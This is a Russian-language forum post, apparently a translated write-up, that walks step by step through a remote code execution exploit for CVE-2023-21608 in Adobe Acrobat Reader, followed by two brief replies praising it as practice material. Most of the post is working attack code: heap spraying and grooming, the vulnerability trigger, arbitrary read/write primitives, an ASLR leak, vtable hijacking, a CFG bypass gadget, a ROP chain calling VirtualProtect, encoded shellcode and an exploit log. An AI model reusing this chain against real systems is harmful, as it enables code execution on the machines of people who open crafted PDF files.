Код:
Number - ffffff81
String - ffffff85
Object - ffffff87
Когда у нас есть запредельный доступ к ArrayBuffer, мы можем распылить большой массив JavaScript сразу после ArrayBuffer и использовать примитив для чтения адреса любого произвольного объекта JavaScript.

Мы можем увидеть, как наша строка представлена в памяти, сделав дамп памяти приведенного выше указателя.

Код:
0:016> dc 0d735fe0
0d735fe0  000000a8 0d735fe8 0061006a 00610076  ....._s.j.a.v.a. 0x0: length, 0x4: ptr to content, 0x8: inlined contents
0d735ff0  00630073 00690072 00740070 00000000  s.c.r.i.p.t.....
0d736000  0bf80fb0 0d734000 0fff1000 00000013  .....@s.........
0d736010  00000228 0c1451f8 00000000 00000000  (....Q..........
0d736020  000000d8 0c0b8638 00000000 00000000  ....8...........
0d736030  000000d8 0c0b8660 00000000 00000000  ....`...........
0d736040  000001e8 0c149bb0 00000000 00000000  ................
0d736050  000000f8 0c0b8890 00000000 00000000  ................

Далее, в процессе эксплуатации, мы создадим поддельные строки с помощью ArrayBuffer и используем одну из распыленных поддельных строк для чтения произвольного содержимого памяти, добиваясь временного примитива произвольного чтения.

Эксплуатация

Мы использовали .dvalloc, чтобы проверить, есть ли у нас какие-либо контролируемые сбои чтения-записи или сбои при вызове произвольного указателя виртуальной функции.

Мы обнаружили сбой, приводящий к произвольной записи по нашему контролируемому адресу

*(*ecx) = some_32_value, где ecx - указатель, контролируемый пользователем.

Стратегия достижения
  • Распылить много ArrayBuffer, чтобы получить распределение по предсказуемому адресу, например 0x20000048
  • Громим LFH с нашим заданным шаблоном для повреждения ArrayBuffer по предсказуемому адресу
  • Запустить уязвимость, чтобы использовать освобожденный буфер и испортить длину ArrayBuffer
  • Используйте поврежденный ArrayBuffer для создания поддельной строки, чтобы достичь произвольного примитива чтения
  • Используйте произвольное чтение из поддельной строки для создания поддельного DataView для достижения произвольных примитивов чтения-записи
  • Повредить виртуальную таблицу поля, чтобы перехватить управление выполнением
  • Обход CFG. Выполнение шеллкода
  • Восстановление поврежденных объектов и чистое восстановление
Распыление ArrayBuffer

Код:
var SPRAY = [];

for(var i=0; i<0x2000; i++) {
  SPRAY[i] = new ArrayBuffer(0x10000-24);
  const typedArray = new Uint32Array(SPRAY[i]);
  typedArray[0] = 0x41424344;
  typedArray[1] = 0x41424344;
}

Используя приведенный выше сценарий, мы можем получить ArrayBuffer, выделенный по заранее известному адресу, например 0x20000058.

Определение местоположения ArrayBuffer

Используя magic markers, мы можем найти буфер в куче памяти, что поможет найти конструктор, который выделяет ArrayBuffer в Adobe Reader.
Примечание: Выделение ArrayBuffer происходит в коде EScript.api.
Например, при выделении ArrayBuffer размером 0x1020 поиск в памяти магического маркера и определение того, кто выделил память, может помочь нам найти конструктор ArrayBuffer.

Код:
0:015> s -d 0 L?0xffffffff 0x41424344
0x4ef0cc00  41424344 45464748 00000000 00000000  DCBAHGFE........

0:015> !ext.heap -p -a 0x4ef0cc00
    address 4ef0cc00 found in
    _DPH_HEAP_ROOT @ 9521000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                4eed11a0:         4ef0cbf0              410 -         4ef0c000             2000
    6ddea8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7714ef0e ntdll!RtlDebugAllocateHeap+0x00000039
    770b6150 ntdll!RtlpAllocateHeap+0x000000f0
    770b57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
    770b53fe ntdll!RtlAllocateHeap+0x0000003e
    767919c7 ucrtbase!_calloc_base+0x00000037
    69481bd5 EScript!sub_10011BAE+0x00000027
    695a15ce EScript!sub_1013153C+0x00000092
    695a1a4e EScript!sub_10131A2C+0x00000022
    695a4bce EScript!sub_10134B68+0x00000066
    695a1d75 EScript!sub_10131D10+0x00000065
    694a95b0 EScript!sub_100394E9+0x000000c7
    694a3505 EScript!js_Interpret+0x00001056
    694a246b EScript!sub_10032412+0x00000059
    694a237b EScript!sub_10032315+0x00000066
    694a22b0 EScript!js_Execute+0x0000007d
    6948b6b0 EScript!JS_EvaluateUCScriptForPrincipals+0x0000008b
    694ca9c6 EScript!JS_EvaluateUCScript+0x0000004d
    694ca6cb EScript!ESExecScript+0x0000010b

Проверка резервной памяти ArrayBuffer (чанк буфера массива + размер заголовка (0x10)).

Код:
0:015> ? 410
Evaluate expression: 1040 = 00000410
0:015> ? 4ef0cc00 - 4ef0cbf0
Evaluate expression: 16 = 00000010
0:015> dc 4ef0cbf0
4ef0cbf0  00000000 00000400 3cc31450 00000000  ........P..<....  +0x4: length, +0x8: typed array ptr
4ef0cc00  41424344 45464748 00000000 00000000  DCBAHGFE........ contents starts here
4ef0cc10  00000000 00000000 00000000 00000000  ................
4ef0cc20  00000000 00000000 00000000 00000000  ................
4ef0cc30  00000000 00000000 00000000 00000000  ................
4ef0cc40  00000000 00000000 00000000 00000000  ................
4ef0cc50  00000000 00000000 00000000 00000000  ................
4ef0cc60  00000000 00000000 00000000 00000000  ................
0:015> ? 0x400
Evaluate expression: 1024 = 00000400

Используя точку останова WinDbg в коде конструктора, мы можем найти адреса, по которым выделяется ArrayBuffer.
Код:
bp Escript+0x131a4e ".printf \"[ArrayBuffer alloc] %p \\\n\", eax; gc"
Теперь посмотрим, как на самом деле выглядит распыление ArrayBuffer в эксплойте.

Код:
function sprayArrBuffers()
{
  for (var i=0; i<0x1500; i++)
  {
    bufs[i] = new ArrayBuffer(ALLOC_SIZE);
    const uintArr = new Uint32Array(bufs[i]);
    for (var k =0; k<16; k++)
    {
      uintArr[k] = 0x33333333;
    }
    uintArr[0] = arrBufPtr + 8; //first deref a = *ecx
    uintArr[1] = 0x41424344; //map size
    uintArr[2] = 0x41424344;
    uintArr[3] = ARR_BUF_BASE - 4;

    // fake string for arbitrary read
    uintArr[FAKE_STR_START] = 0x102; //type
    uintArr[FAKE_STR_START+1] = arrBufPtr+0x40; // buffer
    uintArr[FAKE_STR_START+2] = 0x4;
    uintArr[FAKE_STR_START+3]= 0x4;

    // fake dataview for arbitrary write
    uintArr[FAKE_DV_START] = 0x77777777;
    delete uintArr;
    uintArr = null;
  }

  for (var i=0; i<0x10; i++)
  {
    arrs[i] = new Array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1,2, 3, 4, 5, 6, 7, 8, 9, 10, 11,12,13, 14, 15, 17,18, 19, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25,20,21,22,23);
    arrs[i][0] = 0x47484950;
    arrs[i][1] = targetStr;
    arrs[i][2] = targetDV;
    for (var k=3; k<5000; k++)
    {
      arrs[i][k] = 0x50515051;
    }
  }
}

Выделение ArrayBuffer по прогнозируемому адресу 0x20000048 прошло успешно

Код:
0:011> dc 0x20000048
20000048  00000000 0000ffe8 135c4348 00000000  ........HC\..... +0x4: length, +0x8: typed array
20000058  20000060 00000000 00000000 20000044  `.. ........D..
20000068  33333333 33333333 33333333 33333333  3333333333333333
20000078  33333333 33333333 33333333 33333333  3333333333333333
20000088  33333333 33333333 33333333 33333333  3333333333333333
20000098  00000000 00000000 00000000 00000000  ................
200000a8  00000000 00000000 00000000 00000000  ................
200000b8  00000000 00000000 00000000 00000000  ................

Используя груминг кучи с нашим шаблоном предсказуемых адресов и задействовав уязвимость, мы видим, что длина ArrayBuffer повреждена/изменена.

Код:
// encoding %u0058%u2000% at offset required by vulnerability
const code =
  "%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u0058%u2000%u5353%u5454%u5555%u5656%u5757%u5858%u5959%u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272%u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u8383%u8484";

Код:
0:023> dc 20000048
20000048  00000000 247c3308 243722f0 00000000  .....3|$."7$.... +0x4: length, +0x8: typed array
20000058  20000060 00000000 00000000 20000044  `.. ........D..
20000068  33333333 33333333 33333333 33333333  3333333333333333
20000078  33333333 33333333 33333333 33333333  3333333333333333
20000088  33333333 33333333 33333333 33333333  3333333333333333
20000098  00000000 00000000 00000000 00000000  ................
200000a8  00000000 00000000 00000000 00000000  ................
200000b8  00000000 00000000 00000000 00000000  ................

Длина буфера ArrayBuffer искажается значением указателя, что позволяет осуществлять относительное чтение за пределами границ кучи. Как только уязвимость срабатывает, поврежденный ArrayBuffer может быть найден с помощью приведенного ниже кода.

Код:
for (var i=0; i<bufs.length; i++)
{
  if (bufs[i].byteLength != ALLOC_SIZE)
  {
    console.println("[+] corrupted array buffer found at " + i + " : length: " + bufs[i].byteLength + " : buf length: " + bufs.length);
    ...
  }
}

Выход за границы произвольных примитивов чтения-записи

После того, как примитивы чтения-записи вне границ достигнуты на ArrayBuffer, второй JavaScript Array используется для создания примитива addrOf. Чтобы иметь возможность чтения-записи из Array, набор массивов длиной, аналогичной ArrayBuffer, распыляется таким образом, чтобы выделение массива происходило сразу после распыления ArrayBuffer, как показано ниже.

Код:
-------------------------------------------------------------------------------
|              |             |               |       |              |  |            |            |   |            |
|arrbuf_1|arrbuf_2|arrbuf_3|.........|arrbuf_n|...|array_1|array_2|...|array_n|
|              |             |              |        |              |  |            |            |   |            |
-------------------------------------------------------------------------------

С помощью доступа к ArrayBuffer мы можем найти начало первого массива и использовать его для дальнейшего создания другого набора примитивов.


addrOf
адрес утечки любого объекта JavaScript

poi
утечка значения по заданному адресу (эта начальная форма AAR необходима для создания полноценных AAR/AAW)

AAR
чтение произвольного значения по заданному адресу

AAW
запись значения по заданному адресу

Распыление большого массива

Нам нужно выделить несколько больших массивов сразу после нашего распыленного ArrayBuffer. Как только мы нарушим длину ArrayBuffer, мы сможем найти этот массив и нарушить соседний массив для произвольных примитивов чтения-записи. Однако, перераспределения массива JavaScript, похоже, растут по определенной схеме, когда мы пытались добавить в массив большие элементы в цикле
Код:
for(var k = 0; k<N; k++) {

_arr_.push(0x41414141);

}

После некоторого тестирования мы заметили, что длину перераспределения можно частично контролировать, выделяя Array с начальным содержимым
  • начальное содержимое корректируется после нескольких итераций тестирования
  • чтобы быть достаточно максимальным, чтобы быть выделенным сразу после распыления ArrayBuffer
Код:
var _arr_ = new Array(1, 2, 3, 4);


Контролируемое распыление массива

  • Массив с инициализатором должен начинаться с выделения 0x003f0
  • Далее, инициализация элементов внутри цикла for должна увеличивать размер выделения с помощью reallocs.
  • Увеличение длины массива происходит как: 0x003f0 -> 0x007d0 -> 0x00f90 -> 0x01f10 -> 0x03e10 -> 0x07c10 -> 0x0f810.
  • Повторное выделение с размером 0x0f810 должно приземлить выделение массива сразу после последнего ArrayBuffer из нашего спрея.
  • Когда мы читаем вне границ из поврежденного ArrayBuffer, мы должны иметь возможность прочитать содержимое распыленного массива
Код:
for (var i = 0; i < 0x10; i++) {
  arrayRefs[i] = new Array(
    1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
    21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
    41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60,
    61, 62
  );
  arrayRefs[i][0] = 0x47484950;
  arrayRefs[i][1] = targetStr;       // string object, we use for arbitrary read
  arrayRefs[i][2] = targetDataView;  // DataView we use for crafting AAR/AAW

  for (var k = 3; k < 5000; k++) {
    arrayRefs[i][k] = 0x50515051;
  }
}

Окончательное распределение массива должно выглядеть так, как показано ниже.

Код:
for (var i = 0; i < 0x10; i++) {
  arrayRefs[i] = new Array(
    1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
    21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
    41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60,
    61, 62
  );
  arrayRefs[i][0] = 0x47484950;
  arrayRefs[i][1] = targetStr;       // string object, we use for arbitrary read
  arrayRefs[i][2] = targetDataView;  // DataView we use for crafting AAR/AAW

  for (var k = 3; k < 5000; k++) {
    arrayRefs[i][k] = 0x50515051;
  }
}

Где 0db3c420 ffffff85 - targetStr, а 0dda27c0 ffffff87 - targetDataView.

Примитив addrOf

Примитив addrOf позволяет утечку адреса любого объекта JavaScript путем чтения адреса объекта, хранящегося в распыленном массиве, используя примитивы out-of-bounds. CorruptedTypedArr - это типизированный массив с поврежденной длиной ArrayBuffer, а arrStart - это индекс, в котором находится массив JavaScript от начала поврежденного ArrayBuffer. modified_arr - это массив JavaScript из распыленных массивов, который мы будем использовать для искажения и утечки адресов.

Код:
function addrOf(obj)
{
  modified_arr[0] = obj;
  addr = corruptedTypedArr[arrStart+4];
  return addr;
}

Примитив Arbitrary Read Primitive

Примитив poi позволяет нам читать значение по произвольному адресу.
Чтобы получить примитив poi, нам нужно выполнить несколько шагов:
  • Выделить строку в глобальной области видимости, например var targetStr = "Hello";
  • Распылить вышеуказанный строковый объект как элемент в распыленных массивах arrs[1] = targetStr;
    [*] Распылить поддельную строковую структуру внутри распыленного ArrayBuffer

Код:
uintArr[FAKE_STR_START] = 0x102; // type
uintArr[FAKE_STR_START+1] = arrBufPtr+0x40; // buffer

После достижения выхода за границы примитивов, мы присваиваем поддельную строку адресу распыленного строкового объекта из массива uintArr[arrStart+6] = FAKE_STR;.
  • Теперь targetStr, который был распылен вместе с Array, можно спутать с поддельной строкой.
  • Чтение значений с заданного произвольного адреса достигается установкой addr на указатель буфера поддельной строки, а затем обычным чтением объекта targetStr из нашего модифицированного Array. Это позволит нам считывать значения с произвольных адресов.
Код:
function s2h(s) {
  var n1 = s.charCodeAt(0)
  var n2 = s.charCodeAt(1)
  return ((n2<<16) | n1) >>> 0
}

function poi(addr)
{
  // leak values at addr by setting it to string pointer
  corruptedTypedArr[FAKE_STR_START+1] = addr;
  val = s2h(modified_arr[1]);
  return val;
}

Примитивы произвольного чтения-записи

Как только мы достигли запредельного чтения-записи в ArrayBuffer, мы можем использовать примитивы addrOf и poi для выполнения произвольного чтения. С помощью этих примитивов мы можем получить полные произвольные примитивы чтения-записи, используя объект JavaScript DataView.

Чтобы создать произвольные примитивы чтения-записи с помощью объекта DataView, выполните следующие действия:

Создайте объект DataView с допустимым буфером ArrayBuffer и установите для него начальное значение:
Код:
var targetDV = new DataView(new ArrayBuffer(0x64));

targetDV.setUint32(0, 0x55555555, true);

Распылите объект targetDV как элемент в массиве распыленных массивов:
Код:
for (var i=0; i<0x10; i++)

{

...

arrs[i][2] = targetDV;

...

}

Создаем поддельный объект DataView путем распыления ArrayBuffer и установки значения магического числа в начале распыления.
Код:
uintArr[FAKE_DV_START] = 0x77777777;

После достижения примитивов вне границ, присвойте поддельный объект DataView адресу распыленного объекта DataView.
Код:
uintArr[arrStart + 8] = FAKE_DV;

Клонируйте содержимое действительного объекта DataView в поддельный DataView, используя ранее созданные примитивы.
Код:
var targetDVPtr = addrOf(targetDV);
for (var k=0; k<32; k++)
{
corruptedTypedArr[FAKE_DV_START + k] = poi(targetDVPtr + (k * 4));
}

Наконец, чтобы выполнить произвольное чтение-запись, установите поддельный указатель ArrayBuffer объекта DataView и выполняйте чтение/запись из объекта DataView.
Код:
function AAR(addr)
{
corruptedTypedArr[FAKE_DV_START + 20] = addr;
return modified_arr[2].getUint32(0, true);
}
function AAW(addr, value)
{
corruptedTypedArr[FAKE_DV_START + 20] = addr;
modified_arr[2].setUint32(0, value, true);
}

Выполнение шеллкода

Для выполнения шеллкода мы используем примитивы произвольного чтения-записи (AAR/AAW), чтобы обойти ASLR и CFG.
Порядок действий следующий:

Обход ASLR путем утечки базового адреса AcroForm.api из объекта поля

Код:
var AcroFormApiBase = AAR(AAR(addrOf(testField) + 0x10) + 0x34) - 0x00293fe0

Утечка адреса vtable

Код:
var fieldVtblAddr = AAR(AAR(AAR(AAR(addrOf(testField) + 0x10) + 0x10) + 0xc) + 4)

var fieldVtbl = AAR(fieldVtblAddr)

Клонируем vtable в кучу (клонирование необходимо, так как у нас нет разрешения на запись по адресу vtable). Мы клонируем ее на выбранный нами адрес кучи (выбранный из спрея ArrayBuffer) и производим дальнейшие модификации там.
Код:
for(var i=0; i < 32; i++) {
AAW(arrBufPtr + 0x100 + (i * 4), AAR(fieldVtbl + i * 4));
}

Выполним поворот стека в нашу контролируемую кучу для выполнения шеллкода. Мы подготовим фальшивый стек на куче с необходимыми деталями, как показано ниже:

Код:
AAW(arrBufPtr+0x100+0x48, AcroFormApiBase+0x6faa60);  // CFG gadget = AcroForm!sub_20EFAA60;
AAW(arrBufPtr+0x100+0x30, AcroFormApiBase+0x256984);  // 0x6b5e6984: mov esp, eax; dec ecx; ret;
AAW(arrBufPtr+0x100, AcroFormApiBase+0x1e646);        // 0x6b3ae646: pop esp; ret;
AAW(arrBufPtr+0x100+4, arrBufPtr+0x300);              // our pivoted stack
AAW(fieldVtblAddr, arrBufPtr+0x100);                  // field vtable

Установите ROP и выполните шеллкод

Код:
var rop = [
  AAR(AcroFormApiBase+0x007da108),  // virtualprotect
  arrBufPtr+0x400,                  // return address
  arrBufPtr+0x400,                  // buffer
  0x1000,                           // sz
  0x40,                             // new protect
  arrBufPtr+0x340
];

for(var i=0; i < rop.length; i++) {
  AAW(arrBufPtr + 0x300 + 4 * i, rop[i]);
}

var shellcode = [ 0x90909090,
  835867240, 1667329123, 1415139921, 1686860336, 2339769483,
  1980542347, 814448152, 2338274443, 1545566347, 1948196865,
  4270543903, 605009708, 390218413, 2168194903, 1768834421,
  4035671071, 469892611, 1018101719, 2425393296 ];

for(var i=0; i < shellcode.length; i++) {
  AAW(arrBufPtr+0x400+i*4, re(shellcode[i]));
}

Наконец, вызовите шеллкод, обратившись к свойству defaultValue объекта testField.
Код:
var ret = testField.defaultValue;

Обход защиты потока управления (CFG)

В Adobe Acrobat Reader по умолчанию включен CFG, поэтому напрямую вызвать шеллкод невозможно. Предыдущие версии эксплойтов полагались на использование не CFG модулей в Adobe Reader для создания цепочки ROP, но в новых версиях все модули включены в CFG.
Один из способов обойти это - использовать сайты вызова, которые не являются CFG-инструментами. Мы обнаружили несколько не CFG - инструментов, которые можно использовать для обхода CFG в Adobe Acrobat Reader. Одной из таких функций является sub_20EFAA60, которая позволяет нам вызвать адрес, который мы контролируем, сохраняя его в регистре ecx.
Код:
.text:20EFAA60 ; int __thiscall sub_20EFAA60(void *this)
.text:20EFAA60 sub_20EFAA60 proc near ; DATA XREF: .rdata:20FF8C11↓o
.text:20EFAA60 ; .rdata:21131674↓o ...
.text:20EFAA60 mov eax, [ecx]
.text:20EFAA62 push 0Dh
.text:20EFAA64 call dword ptr [eax+30h]
.text:20EFAA67 retn
.text:20EFAA67 sub_20EFAA60 endp

Восстановление контекста

После выполнения шеллкода программа Acrobat Reader аварийно завершает работу, поскольку соответствующий контекст не был восстановлен. Чтобы Adobe Acrobat Reader продолжал работать после эксплуатации:
  • Восстановление targetStr и targetDV с помощью поддельной строки и DataView, которые были созданы ранее.
  • Восстановление исходной таблицы vtable, которая была захвачена для выполнения кода
  • Исправление любых повреждений, вызванных повреждением ArrayBuffer, и других побочных эффектов этого повреждения
  • Восстановление стека (это делается в части восстановления шеллкода)
  • Восстановление ESP до значения по умолчанию (это также делается в части восстановления шеллкода)
  • Резервное копирование исходных значений до повреждения, чтобы их можно было восстановить после выполнения шеллкода (это показано в приведенном ниже фрагменте).

В приведенном ниже фрагменте показано, как некоторые из исходных значений резервируются до повреждения, чтобы их можно было восстановить после выполнения шеллкода.
Код:
log("[+] Storing recovery context");

AAW(FAKE_STACK_PTR + 0x60, fieldVtblAddr); // original vtable ptr (goes back in ECX)
AAW(FAKE_STACK_PTR + 0x64, fieldVtbl); // vtable funcs ptr
AAW(FAKE_STACK_PTR + 0x68, originalDefaultValFunc); // original defaultVal impl to jump to
AAW(FAKE_STACK_PTR + 0x6c, AAR(ARRAY_BUFFER_BASE + 8)); // ArrayBuffer ptr
AAW(FAKE_STACK_PTR + 0x70, AAR(ARR_BUF_MALLOC_BASE)); // malloc header 0
AAW(FAKE_STACK_PTR + 0x74, AAR(ARR_BUF_MALLOC_BASE + 4)); // malloc header 1

Exploit Log

Код:
[+] Acrobat Reader Remote Code Execution
    [*] Version: 21.01120039
[+] Spraying ArrayBuffer of size: 0xffe8
[+] Grooming LFH blocks of size: 68 count: 4000
[+] Triggering garbage collection
[+] Triggering vulnerability
[+] Finding required objects
    [*] Corrupted ArrayBuffer idx: 4604 byteLength: 0x24043250
    [*] addrOf Array start idx: 13221884
    [*] addrOf Array idx: 0
[+] Gaining arbitrary read & write primitive
    [*] Crafting fake DataView: 0x200001d8
[+] Fixing corrupted objects
    [*] Typed array pointer
    [*] Typed array node pointers
    [*] V1 Idx: 4602 address: 0x131cf240 value: 0xd0b8600 correct value: 0xd0b86a0
    [*] ArrayBuffer field
    [*] Fake string
[+] Finding required modules
    [*] AcroForm.api: 0x6ef70000
    [*] KERNEL32.dll: 0x769a0000
    [*] VirtualProtect: 0x769c04c0
[+] Finding gadgets in AcroForm.api
    [*] CFG bypass gadget: 0x6f66aa60
    [+] Stack pivot gadgets
        [*] xchg eax, esp; ret: 0x6ef8e5e6
        [*] pop esp; ret: 0x6ef8e646
[+] Setting up ROP and shellcode
    [*] Payload: 0x2459edd8
[^] Executing payload
[+] Exploit duration: 6.172 seconds

Эксплуатация 64-битной версии

Ошибка CVE-2023-21608 также затрагивала 64-битную версию Adobe Reader. Однако мы столкнулись с двумя серьезными проблемами:

Распыление кучи больше невозможно в 64-битном адресном пространстве. Следовательно, мы больше не можем полагаться на технику распыления ArrayBuffer, описанную выше, для выделения управляемых данных по прогнозируемым адресам. Теперь для дальнейшей эксплуатации нам нужен отдельный баг info-leak.
Но найти info-leak - не такая уж сложная задача. Основная проблема, которая делает этот баг бесполезным для 64-битной эксплуатации, заключается в том, что распыленные строки используются в качестве объектов агрегации, где из распыленной строки создаются новые строки. При создании новой строки учитываются стандартные нулевые ограничители языка Си. Мы не можем использовать адреса, в которых есть два последовательных байта NULL. Это остановит копирование строки, и мы никогда не сможем перераспределить освободившуюся память с контролируемым куском, в котором есть адрес утечки ArrayBuffer. Ошибка больше не будет эффективной и воспроизводимой. Это ограничивает нас от возможности эксплуатации этой ошибки на 64-битной версии.

Репозиторий эксплойтов

 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот так статья, тут надо пару часов потратить.
Это study case так сказать. На таких статьях удобно практиковаться, делать что-то "свое", осваивать методы, техники, подходы итд.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх